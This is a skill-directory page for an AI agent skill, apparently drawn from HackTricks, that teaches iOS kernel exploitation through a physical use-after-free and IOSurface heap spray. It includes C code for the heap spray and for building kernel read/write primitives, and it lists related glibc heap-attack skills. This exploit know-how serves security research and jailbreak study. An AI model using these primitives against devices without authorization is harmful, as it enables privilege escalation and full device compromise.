skills/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface/SKILL.md
iOS physical use-after-free exploitation via IOSurface heap spray. Use this skill whenever the user mentions iOS kernel exploitation, physical UAF, IOSurface, page table manipulation, kernel read/write primitives, or jailbreak development on iOS devices. Trigger for any iOS security research involving memory corruption, kernel vulnerabilities, or privilege escalation techniques.
npx skillsauth add abelrguezr/hacktricks-skills ios-physical-uaf-exploitationInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
This skill provides guidance on iOS physical use-after-free (UAF) exploitation using IOSurface heap spray techniques. This is an advanced kernel exploitation method used in iOS jailbreak development and security research.
Use this skill when:
Before attempting exploitation, understand these protections:
| Mitigation | Purpose | Bypass Difficulty | |------------|---------|-------------------| | Code Signing | Requires cryptographic signatures on all executables | High | | CoreTrust | Runtime signature verification | High | | DEP | Marks memory as non-executable | Medium | | ASLR | Randomizes memory addresses | Medium | | KASLR | Kernel address randomization | High | | KPP/AMFI | Kernel patch protection | Very High | | KTRR | Kernel text read-only region | Very High | | PAC | Pointer authentication codes | Very High | | PAN | Privileged access never | High | | PPL | Page protection layer | Very High |
Warning: iOS 16+ (A12+) devices have hardware mitigations (PPL, SPTM, KTRR) that make physical UAF techniques far less viable. This technique is primarily useful for older devices or research purposes.
iOS uses a 3-level page table hierarchy:
L1 Page Table (256 GB ranges)
↓
L2 Page Table (32 MB ranges)
↓
L3 Page Table (4 KB pages)
↓
Physical Address
Key Addresses:
0x0 to 0x80000000000x1000000000 bytes (256 GB)0x2000000 bytes (32 MB)Since attackers can't control which kernel pages are allocated to freed memory, they use heap spray:
Create IOSurface objects with a unique magic value:
#define IOSURFACE_MAGIC 0x494F535552464143 // "IOSURFACE" magic value
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
(*nClients)++;
}
}
Search for IOSurface objects in freed physical pages:
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages,
uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
Key IOSurface Fields:
32-Bit Kernel Read:
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
64-Bit Kernel Write:
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
1. Trigger Physical UAF → Free pages available for reuse
2. Spray IOSurface Objects → Allocate many with magic value
3. Identify Accessible IOSurface → Find one on freed page
4. Abuse UAF → Modify pointers for kernel read/write
5. Achieve Primitives → 32-bit reads, 64-bit writes
| iOS Version | Chip | Physical UAF Viability | |-------------|------|----------------------| | iOS 15 and earlier | A11 and earlier | High | | iOS 16+ | A12+ | Low (PPL, SPTM, KTRR) |
Important: This information is for educational and security research purposes only. Unauthorized exploitation of iOS devices may violate terms of service and local laws. Only use these techniques on devices you own or have explicit permission to test.
After achieving kernel read/write primitives:
testing
How to perform a House of Lore (small bin attack) heap exploitation. Use this skill whenever the user mentions heap exploitation, small bin attacks, fake chunks, glibc heap vulnerabilities, or needs to insert fake chunks into small bins for arbitrary read/write. Trigger for CTF challenges involving heap corruption, glibc 2.31+ exploitation, or when the user needs to bypass malloc sanity checks using fake chunk linking.
testing
How to perform House of Force heap exploitation attacks. Use this skill whenever the user mentions heap exploitation, House of Force, top chunk manipulation, arbitrary memory allocation, malloc manipulation, or wants to allocate chunks at specific addresses. Also trigger for CTF challenges involving heap overflows, top chunk size overwrites, or when the user needs to calculate evil_size for heap attacks. Make sure to use this skill for any binary exploitation task involving glibc heap manipulation, even if they don't explicitly say "House of Force".
tools
How to perform House of Einherjar heap exploitation to allocate memory at arbitrary addresses. Use this skill whenever the user mentions heap exploitation, glibc heap attacks, arbitrary memory allocation, off-by-one overflow exploitation, tcache poisoning, fast bin attacks, or any CTF challenge involving heap manipulation. This is essential for binary exploitation tasks where you need to control malloc() return addresses.
testing
How to identify, analyze, and exploit heap overflow vulnerabilities in binary exploitation challenges and real-world scenarios. Use this skill whenever the user mentions heap overflows, memory corruption, heap grooming, tcache poisoning, fast-bin attacks, or any heap-related vulnerability in CTF challenges, binary analysis, or security research. This skill covers heap overflow fundamentals, exploitation techniques, heap grooming strategies, and real-world CVE analysis.